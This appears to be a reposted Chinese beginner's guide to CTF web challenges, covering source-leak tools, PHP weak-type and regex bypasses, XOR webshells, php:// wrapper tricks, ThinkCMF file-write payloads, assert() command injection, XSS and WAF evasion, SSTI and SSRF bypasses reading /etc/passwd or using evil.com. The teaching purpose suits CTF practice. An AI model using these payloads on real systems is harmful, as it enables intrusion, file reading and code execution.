本文介绍: 想学习CTF-web这里给你一个思路,给你一个方向

我期间也考察很多人的,但搞这个的确实有点少,希望这篇可以大家一点帮助,这篇文章也借鉴一些人的文章,还有很多东西,我没搞,确实有点麻烦,但以后还会不断更新的,希望大家在web这里少走一点弯路,还有一些东西我不知道该怎么写,但大家以后肯定会接触的。

这里大家一些关于CTF的一些平台

新手

ctfshow 这个吧,还是推荐富哥吧,里面有web入门题目但是要钱,总体还是不错的。

CTFHub 这个里面题目或许不是很多,但是那个技能树真的可以大家一个方向,主要推荐那个技能
PwnTheBox这个对于新手也是十分好的,适合新手刷题,大部分题目都直接有wp,而且靶机随便关随便开真的好,额,但是吧就是说是不是网站崩了,可能是创作者国外的缘故吧。

有些经验的:BUUCTF题目很多,而且有很多比赛

攻防世界和BUUCTF差不多,但是感觉吧比buu要难

NSSCTF平台很不错,有很多新题目

目录

基础知识类题目

查看网页源代码

发送HTTP请求

不常见类型的请求发送


HTTP头相关的题目

查看响应头

修改请求头、伪造Cookie


备份文件下载

Git源码泄露

svn源码泄露

HG泄露


文件上传和sql注入关于这两个要搞得实在有点多,我就搞个文件,要用搞得都在文件中,放在百度网盘中了链接:文件上传的注意点及绕过&sql注入的一些东西提取码:1234


Js代码

Python爬虫信息处理


PHP代码审计

PHP弱类型hash比较

数组返回NULL绕过

字符串绕过

科学计数法绕过

变量覆盖漏洞

正则表达式相关

ereg正则%00截断

数组绕过

单引号绕过preg_match()正则匹配

不含数字与字母的WebShell

php使用短链接

php读取文件

伪协议

ThinkCMF2.2.x,1.6.0,2.1.0漏洞

命令执行漏洞

assert()函数引起的命令执行


XSS题目


绕过waf

长度限制

双写

等价替代

URL编码绕过

Linux命令使用反斜杠绕过

URL二次解码绕过

数组绕过


SQL注入

使用sqlmap

python 模板注入

ssrf


基础知识题目

考察基本查看网页源代码、HTTP请求修改页面元素等。

实际做题的时候基本都是和其他更复杂知识结合起来出现。

还有要记住一些=0的试试可以改成1,因为0是false,1是ture

姿势:恶补基础知识就行

查看网页源代码

按F12就都看到了,flag一般都在注释里,有时候注释里也会有一条hint或者是对解题有用的信息

发送HTTP请求

可以hackbar,有的也可以脚本

  • Bugku web基础$_GET
  • Bugku web基础$_POST
  • Bugku 点击一百万次

举个写脚本例子题目是Bugku web基础$_POST):

import requests
r = requests.post('http://123.206.87.240:8002/post/', data={'what' : 'flag'})
print(r.text)

常见类型请求发送

以前做过一道题考OPTIONS请求

不过如果要发送这类请求,写一个脚本应该就能解决了。

可以使用burpsuite,给请求方式,列如:请求方式那一题需要把GET方式改成CTFHUB,可以burpsuite改,可以使用curl -X CTFHUB 网址
CTFHub 技能树 请求方式

HTTP头相关的题目

主要是查看和修改HTTP头。

目前做过的Web题目有很大一部分都是与HTTP头相关的,而且这种题目也相当常见,不和其他知识结合的情况下也算是属于基础题的范畴吧。

姿势:不同类型不同利用方法基本都离不开抓包改包,有些简单的也可以利用浏览器F12的网络标签解决。但是最根本的应对策略,是熟悉一些常见请求头的格式作用等,这样题目考到的时候就很容易知道怎样做了。

查看响应

时候响应头里会有hint或者题目的关键信息,也有的时候会直接把flag放在响应头里给你,但是直接查看响应头拿flag的题目并不多,因为太简单了。

只是查看的话,可以不用抓包,用F12的“网络标签就可以解决了。

  • Bugku 头等舱

修改请求头、伪造Cookie

常见的有setcookie、XFF和Referer,总之考法很灵活,做法比较固定知道一些常见的请求头再根据题目随机应变就没问题了。

有些题目还需要伪造Cookie,根据题目要求做就行了。

可以用BurpSuite抓包,也可以直接在浏览器的F12“网络”标签里改,同样也有一些可以通过

备份文件下载

通常是index.php.swp、.index.php.swpwww.ziprobots.txt之类的
注意看不出来是什么可以放到kali面试试,例如vim缓存文件vim -r 可以恢复,.DS_Store文件可以用cat命令看看没有什么文件,好像也有脚本可以修复

Git源码泄露

flag一般在源码的某个文件里,但也有和其他知识结合、需要进一步利用的情况,比如XCTF社区mfw这道题

可以使用dirsearch先扫出来.git
再用Githack, cd Githack
python2 Githack.py 网址/.git

git log那个文件看起来可能是flag看看他的commit的后面的一串字符串使用
使用:git diff 那一串字符串,如果没有尝试git stash list看看没有文件,有的话试试git stash apply或者git stash pop

可以看http://t.zoukankan.com/songwufan-p-13866101.html

姿势:GitHack一把梭
注:GitHack需要自己

  • XCTF mfw

svn源码泄露

flag一般在某个文件中
可以使用dirsearch扫出来.svn
dvcsripper(需要自己下载),cd dvcs-ripper
./ripsvn.pl -u 网址/.svn
因为.svn隐藏文件夹,要用lsal看,找到.svn/pristine/df或bf用cat查看文件

可以看https://blog.csdn.net/SinAlone/article/details/118480556

HG泄露

svn泄露差不多
也是使用dvcs-ripper
用./rip-hg.pl -u 网址/.hg

文件上传sql注入关于这两个要搞得实在有点多,我就搞个文件,要用搞得都在文件中,放在百度网盘中了
链接文件上传的注意点及绕过&sql注入的一些东西
提取码:1234

Js代码

通常是找mainjs脚本,查找game找到结束函数就可以了

F12选择Network(网络)刷新一下
看到main2048.js应该这就是main
点一下搜索game

看到表情包,这个应该是js代码

Python爬虫信息处理

这类题目一般都是给一个页面页面中有算式或者是一些数字,要求在很短的时间内求出结果提交,如果结果正确就可以返回flag。

因为所给时间一般都很短而且计算比较复杂,所以只能写脚本。这种题目的脚本一般都需要用到requests库和BeautifulSoup库(或者re库(正则表达式)),个人感觉使用BeautifulSoup简单一些。

姿势:requests库和BeautifulSoup熟练掌握后,再多做几道题或者写几个爬虫项目,一般这类题目就没有什么问题了。主要还是对BeautifulSoup熟练掌握,另外还需要一点点web前端(HTML)的知识。

#这道题的脚本如下,还可以继续优化#经常出现执行了但是不弹flag的情况,多试几次就行了import requests
import re
 
s = requests.Session()  
url='https://1933-591a9bbb-fca2-46c6-a6d8-52b5970cc01a.do-not-trust.hacking.run/' #把网址定义url参数
r=s.get(url) #以get的方式,去访问
r.encoding = 'utf-8' #可有可无吧,定义编码形式为utf-8,一些题是必须,加一个以防万一
a=r.text #把那个页面定义给a#print(a)
n = re.findall(r'd(.*?)=',a)[0] #利用re正则,把算式匹配出来
o = s.post(url,data={'value':n})  #提交结果print (o.text)  #输出返回结果

HGAME2019的部分题目似乎还出现了反爬虫措施。

PHP代码审计

代码审计覆盖面特别广,分类也很多,而且几乎什么样的比赛都会有,算是比较重要的题目类型之一吧。

姿势:具体问题具体分析,归根结底还是熟练掌握PHP这门语言,了解一些常见的会造成漏洞函数及利用方法等。

PHP弱类型hash比较

这是代码审计最基础的题目了,也比较常见

典型代码:

if(md5($a) == md5($b)) {    //注意两个等号“==”
    echo $flag;
}

加密函数也有可能sha1或者其他的,但是原理都是不变的。

这个漏洞原理如下

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较。
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

所以只要让a和b在经过相应的函数加密之后都是以0e开头就可以。

以下是一些md5加密后开头为0e的字符串

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

aabg7XSs

还有一个十分特殊字符串
0e215962017它MD5以后还0e开头

还有一个字符串使用另个一个地方和sql有关ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c  转成字符串为’or’6�]��!r,��b
可以利用这个越过一些登入

数组返回NULL绕过

PHP绝大多数函数无法处理数组,向md5函数传入数组类型的参数会使md5()函数返回NULL(转换后为False),进而绕过某些限制

如果上面的代码变成:

if(md5($a) === md5($b)) {       //两个等号变成三个
    echo $flag;
}

那么利用弱类型hash比较缺陷将无法绕过,这时可以使用数组绕过

传入?a[]=1&b[]=2就可以成功绕过判断

这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断,可以根据具体情况来灵活运用。

字符串绕过

举例

if(isset($_POST['passwd'])) {
    $passwd=$_POST['passwd'];
    if (!is_numeric($passwd))
    {
            if($passwd==123456)
            {
                echo '1';
                hiaglight_file('flag.php');
            }
            else
            {
                echo "2";
            }
     }
     else{
            echo "3";
     }

如果检查passwd传进来的值是只是数字字母,就输出3,是字符串则进入下一个,又因为passwd要等于123456,但是两个等号是弱比较,所以传进去123456a就行了

科学计数法绕过

遇到这种(strlen($_GET[‘password‘]) < 8 &amp;&amp; $_GET[‘password‘] > 9999999)类似的
可以用1e9之类的来绕过这是用科学计数法来搞

变量覆盖漏洞

extract()函数存在变量覆盖漏洞
遇到这种

可以直接用?shiyan=&amp;flag=得到flag

正则表达式相关

ereg正则%00截断

ereg函数存在NULL截断漏洞,使用NULL可以截断过滤,所以可以使用%00截断正则匹配

数组绕过

正则表达式相关的函数也可以使用数组绕过过滤,绕过方法详见数组返回NULL绕过。

上面那道题也可以用数组绕过。

单引号绕过preg_match()正则匹配

在每一个字符前加上单引号可以绕过preg_match匹配,原理暂时不明。

例如如下代码:

<?php
    $p = $_GET['p'];
    if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {
        echo 'False';
    } else {
        $pp = trim(base64_decode($p));
        if ($pp === 'flag.php') {
            echo 'success';
        }
    }
?>

payload:p=’Z’m’xh‘Z’y‘5’w’a’H’A’=

不含数字与字母的WebShell

如果题目使用preg_match()过滤掉了所有的数字和字母,但是没有过滤PHP的变量符号$,可以考虑使用这种方法。

典型代码:

<?php 

include'flag.php'; 

if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; ?>

这种方法的核心字符串的异或操作

爆破脚本:

chr1 = ['@', '!', '"', '#', '$', '%', '&amp;', ''', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&amp;', ''', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1 :
    for j in chr2 :
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

根据题目的要求,用异或出来的字符串拼出合适的Payload,并放在PHP变量中执行变量名可以用中文

php使用短链接

题目使用preg_match()过滤掉了所有的数字和字母过滤了PHP的变量符号$,可以考虑使用这种方法。
示例代码:

<?php
    if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);}else{
    highlight_file(__FILE__);}
   ?>

必须是linux环境,因为要靠通配符
*可以代替0个及以上任意字符
?可以代表1个任意字符

列如:/tmp/php就可以表示为/*/???或/???/???
可以详细了解一下:php短链接
因为还可以使用[^X]之类的

php读取文件

var_dump(scandir(chr(47))) = system(ls /)
scandir列出目录中的文件和目录

file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103)) = system(cat /f1ag)
file_get_contents() 把整个文件读入一个字符串中

协议

读取文件
PHP://filter/read=convert.base64-encode/resource=文件

执行php代码
使用php://input 它要在POST传数据
列如:?file=php://input
POST传<?php system(“ls /”);?>,则就执行了ls /

data协议
列如:((file_get_contents($text,’r’)===”welcome to the zjctf“)
可以用data协议写入那一串字符
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

ThinkCMF2.2.x,1.6.0,2.1.0漏洞

payload1:?a=fetch&amp;templateFile=public/index&amp;prefix=”&amp;content=<php>file_put_contents(‘test.php’,'<?php phpinfo(); ?>’)</php> 任意文件写入

payload2: ?a=display&amp;templateFile=README.md 任意文件读取

看看https://www.yuque.com/u390550/hsy6gq/xggm0c

命令执行漏洞

assert()函数引起的命令执行

assert函数的参数为字符串时,会将字符串当做PHP命令执行

例如:assert(‘phpinfo()’)相当于执行<?php phpinfo() ?>

以一道题目为例

本题目中题目文件夹放置了一个隐藏的flag文件。

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if($_GET['file'] === "flag"){
        highlight_file("flag.php");
    }else{
        $page = $_GET['file'];
    }
} else {
    $page = "./flag.php";
}

assert("file_exists('$page')");
?>

解法

构造闭合 file_exists()函数,并使assert()执行恶意代码

Linux命令ls -a可用于查看该目录下所有文件,包括隐藏文件。

payload

  1. ?file=123′) or system(‘ls -a’);#
  2. ?file=123′) or system(‘cat .ffll44gg‘);#

XSS题目

这类题目会涉及到三种XSS类型,具体类型要根据题目来判断。一般都是向后台发送一个带有XSS Payload文本,在返回的Cookie中含有flag,解法是在XSS Payload

这类题目一般都会带有过滤和各种限制,需要了解一些常用的绕过方法。

姿势:XSS归根结底还是JavaScript,JavaScript的威力有多大,XSS的威力就有多大。要知道一些常用的XSS Payload,还要把三类XSS的原理弄明白。做题时需要用到XSS平台网上有公用的,也可以自己在VPS上搭一个。

这里可以给大家推荐一个XSS平台

绕过waf

其实绝大多数比较难的题目多多少都会对输入有过滤,毕竟在现实的网络中肯定是会对输入进行限制的,但是这里还是把过滤单独列出来了。

一些限制只能是数字,不能输入字母的可以尝试添加空格例如:?num=a(不行) 换成 ? num=a(可以)
用于php,因为php会先处理空格,就绕过了waf

姿势:多掌握一些不同的绕过方法。

长度限制

有些题目会要求输入较长的文本,但对文本的长度进行了限制

对于这种题目,既可以用BurpSuite抓包改包绕过,也可以直接在F12里改页面源代码

双写

双写可以绕过对输入内容过滤的单次判断,在XSS、SQL注入和PHP代码审计的题目中比较常见

双写顾名思义就是将被过滤的关键字符写两遍,比如,如果要添加XSS Payload,又需要插入<script>标签,就可以构造如下的Payload:<scr<script>ipt>来绕过对<script>标签的单次过滤限制

这样的方法不仅对XSS有用,也可以用于代码审计和SQL注入。

HGAME2019有一道XSS题目就是过滤了<script>,可以用双写绕过。

等价替代

就是不用被过滤的字符,而使用没有被过滤却会产生相同效果的字符。

比如,如果SQL注入题目中过滤了空格,可以用/**/绕过对空格限制;XSS题目如果过滤了<script>标签,可以使用其他类型的payload;如果需要使用cat命令却被过滤,可以使用tacmoreless、nl命令来替代等。
php空格被过滤了,可以使用$IFS$1之类的代替

  • 实验吧 简单的SQL注入

URL编码绕过

如果过滤了某个必须要用的字符串,输入内容是以GET方式获取的(也就是直接在地址栏输入),可以采用url编码绕过的方式。比如,过滤了 cat,可以使用 c%61t来绕过。

Linux命令使用反斜杠绕过

在Linux下,命令中加入斜杠与原命令完全等价。例如catcat两条命令等价,效果完全相同。

可以利用这个特性来进行一些绕过操作(当然,这个仅限于命令执行漏洞)。

URL二次解码绕过

这个类型本来应该放在代码审计里面,但是既然是一种绕过过滤的姿势,就写在这里了。

如果源码中出现了urldecode()函数,可以利用url二次解码来绕过。

以下是一些常用的HTML URL编码

ASCII Value URL-encode ASCII Value URL-encode ASCII Value URL-encode
æ %00 0 %30 ` %60
%01 1 %31 a %61
%02 2 %32 b %62
%03 3 %33 c %63
%04 4 %34 d %64
%05 5 %35 e %65
%06 6 %36 f %66
%07 7 %37 g %67
backspace %08 8 %38 h %68
tab %09 9 %39 i %69
linefeed %0a : %3a j %6a
%0b ; %3b k %6b
%0c < %3c l %6c
c return %0d = %3d m %6d
%0e > %3e n %6e
%0f ? %3f o %6f
%10 @ %40 p %70
%11 A %41 q %71
%12 B %42 r %72
%13 C %43 s %73
%14 D %44 t %74
%15 E %45 u %75
%16 F %46 v %76
%17 G %47 w %77
%18 H %48 x %78
%19 I %49 y %79
%1a J %4a z %7a
%1b K %4b { %7b
%1c L %4c | %7c
%1d M %4d } %7d
%1e N %4e ~ %7e
%1f O %4f %7f
space %20 P %50 %80
! %21 Q %51 %81
%22 R %52 %82
# %23 S %53 ƒ %83
$ %24 T %54 %84
% %25 U %55 %85
&amp; %26 V %56 %86
%27 W %57 %87
( %28 X %58 ˆ %88
) %29 Y %59 %89
* %2a Z %5a Š %8a
+ %2b [ %5b %8b
, %2c %5c Œ %8c
%2d ] %5d %8d
. %2e ^ %5e Ž %8e
/ %2f _ %5f %8f

数组绕过

详见PHP代码审计的“数组返回NULL”绕过。

数组绕过的应用很广,很多题目都可以用数组绕过。

SQL注入

SQL注入是一种灵活而复杂攻击方式,归根结底还是考察对SQL语言的了解和根据输入不同数据网页的反应对后台语句的判断,当然也有sqlmap这样的自动化工具可以使用。

姿势:如果不用sqlmap或者是用不了,就一定要把SQL语言弄明白,sqlmap这样的自动化工具也可以使用。

使用sqlmap

sqlmap应用范围还不大明确,我都是如果sqlmap没法注入就手工注入。

我写的一篇简单的sqlmap教程https://www.jianshu.com/p/4509bdf5e3d0

python 模板注入

攻防世界 Web_python_template_injection

文件包含:是通过python对象继承来一步步实现文件读取和命令执行的的。 思路:找到父类<typeobject’>–>寻找子类–>找关于命令执行或者文件操作的模块

几个魔术方法 可以了解一下
class 返回类型所属的对象
mro 返回一个包对象所继承的基类元组,方法在解析时按照元组顺序解析
base 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类
subclasses 每个新类都保留了子类引用,这个方法返回一个类中仍然可用的的引用列表
init 类的初始化方法
globals包含函数全局变量字典引用

SSRF

使用到的协议file、dictgopher协议
file协议使用:file:///etc/passwd (读取文件)
dict协议使用: dict://serverip:port//命令:参数
gopher协议使用:gopher://IP:port/_TCP/IP (列如:gopher://127.0.0.1:80/_POST)

gopher协议发送post请求:
get传参区别为:post有四个必要参数Content-Type,Content-Length,hostpost的参数注:其中Content-Length 要与post的长度相同
关于gopher协议给大家推荐一个工具 Gopherus-master
参考题目:CTFhub 技能树 ssrf POST请求

防护绕过

使用正则表达式的方式对SSRF中的请求地址进行过滤,具体表现如下:
1.限制请求特定域名
2. 禁止请求内网IP。
然而这两种过滤都很容易被绕过,可用的方法具体如下:

1)使用http://example.com@evil.com (可针对限制了网址的题)
简单说的话,@表示如果这个被执行,,就扔掉前面了,相当于访问evil.com

2)IP地址转化为进制(八进制十进制十六进制)及 IP 地址省略写法,举例说明如下:
1. 0177.0.0.1 (八进制)
2. 2130706433 (十进制)
3. 0x7f.0x0.0x0.0x1 (十六进制)
4. 127.1 (IP地址省略写法)

3)特殊模式绕过
1. http://127.1/flag.php
2. http://0/flag.php
3. http://127.00000000.00.1/flag.php

4)0.0.0.0 &amp;127.127.127.127绕过
1. http://127.27.127.127/flag.php
2. http://0.0.0.0/flag.php

5)配置域名。如果我们手中有可控域名,则可以将域名A记录指向欲请求的 IP 进行绕过操作:evil.example.com => 10.0.18.3
6) 利用[::] .
http://[::]:80/ =>http://127.0.0.1

DNS重绑定可以使用:https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

工具

新手推荐使用burpsuite和Hackber

两个应该是你们接触的十分多的两个工具

burpsuite的下载包放在这里大家自己使用百度网盘下载领取

链接: https://pan.baidu.com/s/1LTzCR2ShkaWHBhcB0WPwQw?pwd=4567 提取码: 4567

注:使用burpsuite需要下载java

我还给大家附带了burpsuite的证书,不然有些网站的包就抓不了,还会让自己变得很麻烦

证书的使用方法这里给大家讲一下

首先使用代理127.0.0.10:8080,先打开burpsuite,设置代理然后访问http://burp,点击右上角下载然后就可以获得自己证书

 点开将证书导入进去

至于burpsuite的使用方法就别问我了。。。。。。。

现在是HackBer

为什么推荐Hackber,新手都有一个问题就是对于GET和POST的方法不怎么会使用

Hackber不仅可以更方便的使用,还有很多我们常用的加密方式,还能直接对包进行修改

这里推荐大家使用火狐浏览器,因为他的插件里面就有Hackber可以直接下载

这里推荐使用第二个

原文地址:https://blog.csdn.net/m0_64815693/article/details/126834664

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_31724.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注